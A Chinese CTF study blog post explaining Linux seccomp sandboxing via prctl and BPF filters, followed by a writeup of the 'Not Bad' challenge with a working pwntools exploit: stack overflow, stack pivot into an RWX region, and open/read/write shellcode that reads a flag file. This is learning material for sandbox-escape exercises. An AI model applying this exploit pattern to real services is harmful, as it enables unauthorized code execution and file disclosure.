pwn学习笔记(8)--初识Pwn沙箱
初识Pwn沙箱
沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。
在ctf中主要通过两种方式实现沙箱机制:
- prctl系统调用;
- seccomp库函数;
1、prctl函数初探
prctl是基本的进程管理函数,最原始的沙箱规则就是通过prctl函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。
下面是/linux/prctl.h和seccomp相关的源码:
/* Get/set process seccomp mode */#define PR_GET_SECCOMP 21#define PR_GET_SECCOMP 22/** If no_new_privs is set, then operations that grant new privileges (i.e.* execve) will either fail or not grant them. This affects suid/sgid,* file capabilities, and LSMs.** Operations that merely manipulate or drop existing privileges (setresuid,* capset, etc.) will still work. Drop those privileges if you want them gone.** Changing LSM security domain is considered a new privilege. So, for example,* asking selinux for a specific new context (e.g. with runcon) will result* in execve returning -EPERM.** See Documentation/userspace-api/no_new_privs.rst for more details.*/
#define PR_SET_NO_NEW_PRIVS 38
#define PR_GET_NO_NEW_PRIVS 39
prctl函数原型:int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)
在具体了解prctl函数之前,我们再了解这样一个概念:沙箱。沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数族。
include/linux/prctl.h里面存储着prctl的所有参数的宏定义,prctl的五个参数中,其中第一个参数是你要做的事情,后面的参数都是对第一个参数的限定。
在第一个参数中,我们需要重点关注的参数有这两个:
- PR_SET_SECCOMP(22):当第一个参数是PR_SET_SECCOMP,第二个参数argv2为1的时候,表示允许的系统调用有read,write,exit和sigereturn;当argv等于2的时候,表示允许的系统调用由argv3指向sock_fprog结构体定义,该结构体成员指向的sock_filter可以定义过滤任意系统调用和系统调用参数。(细节见下图)
- PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系统调用execve()函数,同时,这个选项可以通过fork()函数和clone()函数继承给子进程。
struct sock_fprog {unsigned short len; /* 指令个数 */struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
}
struct sock_filter { /* Filter block */__u16 code; /* Actual filter code,bpf指令码 */__u8 jt; /* Jump true */__u8 jf; /* Jump false */__u32 k; /* Generic multiuse field */
};
//seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息
struct seccomp_data{int nr;//系统调用号__u32 arch;//调用架构__u64 instruction_pointer;//CPU指令指针__u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}
2、prctl()函数详解
prctl
是一个系统调用,用于控制和修改进程的行为和属性。它可以在Linux系统上使用,提供了各种功能和选项来管理进程的不同方面。
以下是prctl
函数的基本原型:
#include <sys/prctl.h>int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
prctl函数接受不同的option选项和参数,用于执行不同的操作。下面是一些常用的option选项及其功能:
- PR_SET_NAME:设置进程名称。
- PR_GET_NAME:获取进程名称。
- PR_SET_PDEATHSIG:设置在父进程终止时发送给当前进程的信号。
- PR_GET_PDEATHSIG:获取父进程终止时发送给当前进程的信号。
- PR_SET_DUMPABLE:设置进程的可转储标志,影响核心转储。
- PR_GET_DUMPABLE:获取进程的可转储标志。
- PR_SET_SECCOMP:设置进程的安全计算模式。
- PR_GET_SECCOMP:获取进程的安全计算模式。
这些仅是一些常用的选项,prctl
还支持其他选项和功能。每个选项都有特定的参数,可以根据需要传递。具体的参数和行为取决于所选的选项。
以下是一个简单的示例,展示了如何使用prctl
函数设置进程名称:
#define _GNU_SOURCE
#include <sys/prctl.h>
#include <stdio.h>int main() {const char* process_name = "MyProcess";if (prctl(PR_SET_NAME, (unsigned long) process_name) == -1) {perror("prctl");return 1;}// 获取进程名称char name[16];if (prctl(PR_GET_NAME, (unsigned long) name) == -1) {perror("prctl");return 1;}printf("Process name: %s\n", name);return 0;
}
在上述示例中,我们使用prctl函数将当前进程的名称设置为"MyProcess"。然后,我们再次使用prctl函数获取进程的名称,并将其打印到标准输出。
请注意,prctl函数的具体行为和可用选项可能因操作系统和版本而异。在使用prctl函数时,应该查阅相关文档并了解所使用的操作系统的支持和限制。
3、BPF过滤规则(伯克利封装包过滤)
突破沙箱规则,本质上就是一种越权漏洞。seccomp是linux保护进程安全的一种保护机制,它通过对系统调用函数的限制,来保护内核态的安全。所谓沙箱,就是把用户态和内核态相互分离开,让用户态的进程,不要影响到内核态,从而保证系统安全。
如果我们在沙箱中,完全遵守seccomp机制,我们便只能调用exit(),sigreturn(),read()和write()这四种系统调用,那么其实我们的进程应该是安全的(其实也不一定,后面的例题就没有溢出,而是通过系统调用直接读取文件)。但是,由于他的规则过于死板,所以后面出现了过滤模式,让我们可以调用到那些系统调用。回顾上面提到的PT_SET_SECCOMP这个参数,后面接到的第一个参数,就是它设置的模式,第三个参数,指向sock_fprog结构体,sock_fprog结构体中,又有指向sock_filter结构体的指针,sock_filter结构体这里,就是我们要设置规则的地方。
我们在设置过滤规则,在面对沙箱题目的时候,会经常用到Seccomp-tools这个工具。
BPF指令集简介
BPF_LD:加载操作,BPF_H表示按照字节传送,BPF_W表示按照双字来传送,BPF_B表示传送单个字节。
BPF_LDX:从内存中加载byte/half-word/word/double-word。
BPF_ST,BPF_STX:存储操作
BPF_ALU,BPT_ALU64:逻辑操作运算。
BPT_JMP:跳转操作,可以和JGE,JGT,JEQ,JSET一起表示有条件的跳转,和BPF_JA一起表示没有条件的跳转。
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h> //off和imm都是有符号类型,编码信息定义在内核头文件linux/bpf.h
#include<sys/types.h>int main()
{struct sock_filter filter[]={BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节开始,传送4个字节BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比较是否为59(execve 的系统调用号),是就跳过下一行,如果不是,就执行下一行,第三个参数表示执行正确的指令跳转,第四个参数表示执行错误的指令跳转BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL),// 杀死一个进程// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE),// 父进程追踪子进程,具体没太搞清楚BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO),// 异常处理BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),// 这里表示系统调用如果正常,允许系统调用};struct sock_fprog prog={.len=sizeof(filter)/sizeof(sock_filter[0]),.filter=filter,};prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数是进行什么设置,第二个参数是设置的过滤模式,第三个参数是设置的过滤规则puts("123");return 0;
}
开始的时候,我们设置了sock_filter结构体数组。这里为什么是一个结构体数组呢?因为我们看到里面有BPF_STMT和BPF_JMP的宏定义,其实BPF_STMT和BPF_JMP都是条件编译后赋值的sock_filter结构体。
#ifndef BPF_STMT
#define BPF_STMT(code,k){(unsigned short)(code),0,0,k}
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k}
#endif
上面的例子中禁用了execve的系统调用号,64位系统中execve的系统调用号是59.
BPF_JUMP后的第二个参数是我们要设置的需要禁用的系统调用号。
我们在这里禁用的两个系统调用分别是sys_restart_syscall和execve,如果出现这两个系统调用,那么我们就会跳转到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的异常处理。其实,如果我们要直接杀死这个进程的话,BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)这个规则可以直接杀死进程。
GitHub上的一个真实例子:
例子
#include <errno.h>
#include <linux/audit.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <unistd.h>static int install_filter(int nr, int arch, int error) {struct sock_filter filter[] = {BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, arch))),BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, arch, 0, 3),BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, nr, 0, 1),BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (error & SECCOMP_RET_DATA)),BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),};struct sock_fprog prog = {.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),.filter = filter,};if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {perror("prctl(NO_NEW_PRIVS)");return 1;}if (prctl(PR_SET_SECCOMP, 2, &prog)) {perror("prctl(PR_SET_SECCOMP)");return 1;}return 0;
}int main() {printf("hey there!\n");install_filter(__NR_write, AUDIT_ARCH_X86_64, EPERM);printf("something's gonna happen!!\n");printf("it will not definitely print this here\n");return 0;
}
用 seccomp-tools
来dump下看看:
g01den@MSI:~/CTest/seccomp$ seccomp-tools dump ./prctl
hey there!line CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 00050002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x15 0x00 0x01 0x00000001 if (A != write) goto 00050004: 0x06 0x00 0x00 0x00050001 return ERRNO(1)0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
禁用掉之后,我们通过seccomp来dump一下。我们看到,最前面的就是sock_filter结构体的四个参数,后面的,就是bpf规则的汇编表示。
4、orw:
[极客大挑战 2019]Not Bad:
先检查下保护:
g01den@MSI:~/Temp$ checksec pwn
[*] '/home/g01den/Temp/pwn'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: No PIE (0x400000)Stack: ExecutableRWX: Has RWX segments
没有开保护,且存在RWX段,IDA看看:
__int64 __fastcall main(int a1, char **a2, char **a3)
{mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);sub_400949();sub_400906();sub_400A16();return 0LL;
}
函数名等等有问题,试着恢复下:
__int64 __fastcall main(int a1, char **a2, char **a3)
{mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);seccomp();init_0();vuln();return 0LL;
}
简单恢复了下之后是这样,先看看seccomp函数,里面很明显存在沙盒(可能是种不专业的说法):
__int64 seccomp()
{__int64 v1; // [rsp+8h] [rbp-8h]v1 = seccomp_init(0LL);seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);return seccomp_load(v1);
}
好,那么直接用seccomp-tools工具dump一下:
g01den@MSI:~/Temp$ seccomp-tools dump ./pwnline CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 00100002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 00050004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 00100005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 00090006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 00090007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 00090008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 00100009: 0x06 0x00 0x00 0x7fff0000 return ALLOW0010: 0x06 0x00 0x00 0x00000000 return KILL
最后发现可以利用的系统调用有orw三个,那么看看vuln函数:
int sub_400A16()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFputs("Easy shellcode, have fun!");read(0, buf, 0x38uLL);return puts("Baddd! Focu5 me! Baddd! Baddd!");
}
这里存在栈溢出,感觉可以打shellcode,但是,明显发现栈的长度不够ret2shellcode,推测一手栈迁移,试试看。
经过动调之后,发现在执行到函数mmap之后,存在一个可写可执行权限的内存段(扔一个小知识点:这里mmap参数类型是(起始地址,大小,保护类,文件描述符]等)):
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATAStart End Perm Size Offset File0x123000 0x124000 -wxp 1000 0 [anon_00123]
可以将栈迁移到这儿去,再执行shellcode或者syscall读文件,不过,这个要之后再说了。大概思路说下吧,先通过shellcode调用read函数将读文件写入内存然后输出这样的一个顺序,先贴一下exp:
from pwn import *
#from LibcSearcher import *# context.terminal = ["tmux", "splitw", "-h"]
Locale = 0
if Locale == 1:io = process('./pwn')
else:io = remote("node5.buuoj.cn",26888)#elf = ELF("./pwn")
context(arch='amd64', os='linux', log_level='debug')def exp():# gdb.attach(io)mnap = 0x123000jmp_rsp = 0x0400a01io.recvuntil("Easy shellcode, have fun!\n")shellcode = asm(shellcraft.read(0,mnap,0x100))shellcode += asm('mov rax,0x123000;call rax')payload = shellcode.ljust(0x28,b'a')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp") #这里的减0x30我没怎么看懂,记录在这儿io.send(payload)payload2 = asm(shellcraft.open('./flag')+shellcraft.read(3,mnap+0x100,0x100)+shellcraft.write(1,mnap+0x100,0x100))io.send(payload2)exp()io.interactive()
参考文章:
从prctl函数开始学习沙箱规则
BPF详解
函数 prctl 系统调用
相关文章:

pwn学习笔记(8)--初识Pwn沙箱
初识Pwn沙箱 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系…...

Day18_2--Vue.js Ajax(使用 Axios)基础入门学习
Vue.js 中的 Ajax 请求(使用 Axios) 什么是 Axios? Axios 是一个基于 Promise 的 HTTP 客户端,可以用于浏览器和 Node.js 环境中。它是现代化的 Ajax 库,用来替代传统的 XMLHttpRequest。 为什么选择 Axios…...

windows11远程桌面如何打开
随着远程办公的普及,选择合适的远程桌面工具变得尤为重要。在Windows 11上,用户可以利用系统自带的远程桌面功能,或选择更专业的第三方解决方案,如Splashtop。本文将详细介绍如何在Windows 11上启用远程桌面,并对比Win…...

qt代码显示,包含文本颜色设置等
QScintilla 安装示例代码参考链接 安装 最近发现了一个有趣的库,qt的插件库,之前一直以为显示代码时是重写QTextEdit来实现的,结果qt有现成的一个库来显示这些东西,在此记录一下 # 安装 QScintilla pip install QScintilla示例代码…...

抽象代数精解【6】
文章目录 简单密码算法模运算数学定义置换移位代换仿射 参考文献 简单密码算法 模运算数学定义 模m剩余类集 Z m Z_m Zm 设∀a,b∈Z(整数),m为正整数 m|b-a ,称a R b R满足反身性、对称性、传递性 1、R为同余关系,…...

如何选择合适的PCB材料?FR4、陶瓷、还是金属基板?
选择合适的PCB材料对于电路板的性能、可靠性和成本至关重要。不同的PCB材料具有不同的特性,适用于不同的应用场景。 01 FR4(玻璃纤维环氧树脂) FR4的特点: 广泛应用:FR4是最常见的PCB基板材料,广泛应用…...

PXE学习及其简单应用
一、PXE 的定义 PXE 是一种基于网络的启动技术,最初由 Intel 开发,旨在提供一种在没有本地存储设备的情况下通过网络启动操作系统的标准。PXE 集成在计算机的 BIOS 或 UEFI 中,允许计算机从网络服务器下载并启动操作系统或其他软件。 二、PX…...

【Python】把list转换成json文件(list中为字典,元素按行写入)
0.前言 数据需要处理成与大模型输入相同类型的数据,从csv文件读出后,想要转换成json文件,看了好多资料都是把整个list写入了json,并不是我想要的格式,这里记录一下最后的按行写入的格式。 1.list转json import json …...

《机器人SLAM导航核心技术与实战》第1季:第8章_激光SLAM系统
视频讲解 【第1季】8.第8章_激光SLAM系统-视频讲解【第1季】8.1.第8章_激光SLAM系统_Gmapping算法-视频讲解【第1季】8.2.第8章_激光SLAM系统_Cartographer算法-视频讲解【第1季】8.3.第8章_激光SLAM系统_LOAM算法-视频讲解 第1季:第8章_激光SLAM系统 先 导 课第…...

【安当产品应用案例100集】005-安当ASP实现Exchange双因素登录认证
Exchange双因素登录通过增加额外的安全验证层,可以有效提高企业邮箱系统的安全性,减少了数据泄露和账号被盗的风险,同时也符合了日益严格的安全合规要求。 其必要性主要体现在以下几个方面: 提高安全性:传统的用户名…...

【Bug】Pytorch RuntimeError: DataLoader worker (pid(s) 15904) exited unexpectedly
【Bug1】RuntimeError: DataLoader worker (pid(s) 15904) exited unexpectedly 知乎:https://zhuanlan.zhihu.com/p/712407893 环境 Windows 11 Python 3.10 torch 2.0.1 numpy 1.25.0问题详情 在使用 PyTorch 的 DataLoader 时出现的错误。详情 RuntimeError:A…...

谈谈冯诺依曼体系
我们都知道冯诺依曼体系这张图最为代表性,而接下来我们就来浅谈一下各部分之间的作用~ 输入设备:键盘,磁盘,网卡,话筒等等 输出设备:磁盘,网卡,声卡,显示屏等等 这些硬件…...

第十二章 元数据管理10分
12.1 引言 如果没有元数据,组织可能根本无法管理其数据。 ISO/IEC11179 元数据注册标准。 元数据管理原则:应归尽归,应收尽收。衡量标准:目录是否完整。(去第十二章 元数据管理)。 主数据管理:主…...

eco_tracker
特征 VGG是第一个提出使用块的想法,通过使用循环和子程序,可以很容易地在任何现代深度学习框架的代码中实现这些重复的架构。 原始VGG网络有5个卷积块,其中前两个块各有一个卷积层,后三个块各包含两个卷积层。 第一个模块有64个…...

electron 鼠标事件
版本:"electron": "^22.3.27",实现一个在windows下图片点击右键,使用electron打开的功能。 一、注册表操作 注册表工具类 const cp require("child_process"); const { app } require(electron/remote) e…...

网络安全第一次作业(ubuntuan安装nginx以及php部署 and sql注入(less01-08)))
ubuntuan安装nginx以及php部署 1.安装依赖包 rootadmin123-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev2.安装nginx 到https://nginx.org/en/download.html下载nginx 之后将压缩包通过xtfp传输到ubuntu的/usr/loc…...

【OpenHarmony4.1 之 U-Boot 2024.07源码深度解析】017 - init_sequence_f 各函数源码分析(一)
【OpenHarmony4.1 之 U-Boot 2024.07源码深度解析】017 - init_sequence_f 各函数源码分析(一) 一、setup_mon_len():配置 gd->mon_len 监控长度二、fdtdec_setup() :设备树初始化,配置 gd->fdt_blob 指向uboot镜像末尾的 device tree三、【RK3568未跑】trace_early…...

Mojo AI编程语言(十七)跨平台开发:应用广泛适配
目录 1. Mojo语言简介 2. 跨平台开发的挑战 3. Mojo语言的跨平台特性 3.1 编译器支持 3.2 标准库支持 3.3 抽象层 4. 跨平台开发的最佳实践 4.1 避免平台特定代码 4.2 使用依赖管理工具 4.3 测试覆盖率 5. 高级跨平台开发技巧 5.1 使用容器 5.2 持续交付 5.3 性能…...

Python面试题:结合Python技术,如何使用Astropy进行天文数据处理
Astropy 是一个用于天文学研究的 Python 库,它提供了处理天文数据的多种工具和函数。以下是一些使用 Astropy 进行天文数据处理的示例: 安装 Astropy 首先,需要确保已安装 Astropy,可以使用以下命令进行安装: pip i…...

Jpa-多表关联-OneToOne
Jpa-多表关联-OneToOne 准备JoinColumnOneToOne属性targetEntitycascade*PERSISTMERGEREMOVEREFRESH orphanRemovalfetchoptionalMappedBy* OneToOne在 hibernate中用于对表与表之间进行维护关联 准备 import com.alibaba.fastjson.JSON; import jakarta.persistence.*; impor…...

zdpy+vue3+onlyoffice文档系统实战上课笔记 20240805
上次 上次计划 1、最近文档表格完善 2、实现登录功能 3、新建文件,复制文件,删除文件 4、其他 目前任务:最近文档表格完善 1、在名称前面,渲染这个文档的图标 2、大小的基本的单位是kb,超过1024kb则换成mb࿰…...

【Linux 从基础到进阶】Linux 内核参数调优
Linux 内核参数调优 引言 内核参数调优是提升 Linux 系统性能和稳定性的重要手段。通过合理配置和优化内核参数,可以显著改善系统资源利用率和响应速度。本文将介绍内核参数的调优方法,并提供适用于 CentOS 和 Ubuntu 系统的具体示例。 1. 内核参数简介 内核参数是控制 L…...

【Java数据结构】---泛型
乐观学习,乐观生活,才能不断前进啊!!! 我的主页:optimistic_chen 我的专栏:c语言 ,Java 欢迎大家访问~ 创作不易,大佬们点赞鼓励下吧~ 文章目录 包装类装箱和拆箱泛型泛型…...

Java Lambda表达式总结(快速上手图解)
Java Lambda表达式总结(快速上手详解)-CSDN博客https://blog.csdn.net/m0_66070037/article/details/140912566?spm1001.2014.3001.5501...

【算法模板】图论:Tarjan算法求割边割点
概念 割边(Bridge 或 Cut Edge) 定义: 在一个无向连通图中,如果删除某条边后,图不再连通(即任意两点之间不能相互到达),则称该边为割边。割边也被称为桥,因为它像桥梁…...

如何在IDEA上使用JDBC编程【保姆级教程】
目录 前言 什么是JDBC编程 本质 使用JDBC编程的优势 JDBC流程 如何在IEDA上使用JDBC JDBC编程 1.创建并初始化数据源 2.与数据库服务器建立连接 3.创建PreparedStatement对象编写sql语句 4.执行SQL语句并处理结果集 executeUpdate executeQuery 5.释放资源 前言 在…...

linux web系统安装常见问题解决,租房系统为案例
Warning: require(): open_basedir restriction in effect. 一、执行文件权限 网站目录下 open_basedir增加执行路径 二、文件夹权限放行 三、安装基础环境 composer install 四、数据合并 php think migrate:run 20200402094148 AdminUser: migrating 20200402094148 A…...

Linux驱动开发—平台总线模型详解
文章目录 1.平台总线介绍1.1平台总线模型的组成部分1.2平台总线模型的优势 2.使用平台总线模型开发驱动2.1注册platform设备2.2注册platform驱动2.3效果演示 1.平台总线介绍 Linux 平台总线模型(Platform Bus Model)是一种设备驱动框架,用于…...

说一下网络层,传输层,数据链路层做什么的,之间的关系?
网络层主要负责为数据包选择最佳路径,将数据从源主机传输到目标主机。它的关键任务包括路由选择、拥塞控制和网络互联等。通过网络层的功能,不同网络之间能够实现通信和数据传输。 传输层的作用是在源端和目的端之间提供可靠或不可靠的端到端的数据传输…...

解锁AI新纪元:Milvus Cloud与Zilliz Cloud的高可用之道
在当今数字化时代,系统的持续稳定运行与数据的即时访问性已成为衡量技术服务质量的关键指标。面对复杂多变的运行环境,包括电力波动、网络故障乃至人为操作失误等不可预见因素,数据库系统的高可用性(High Availability, HA)成为了保障业务连续性的重要基石。特别是在大数据…...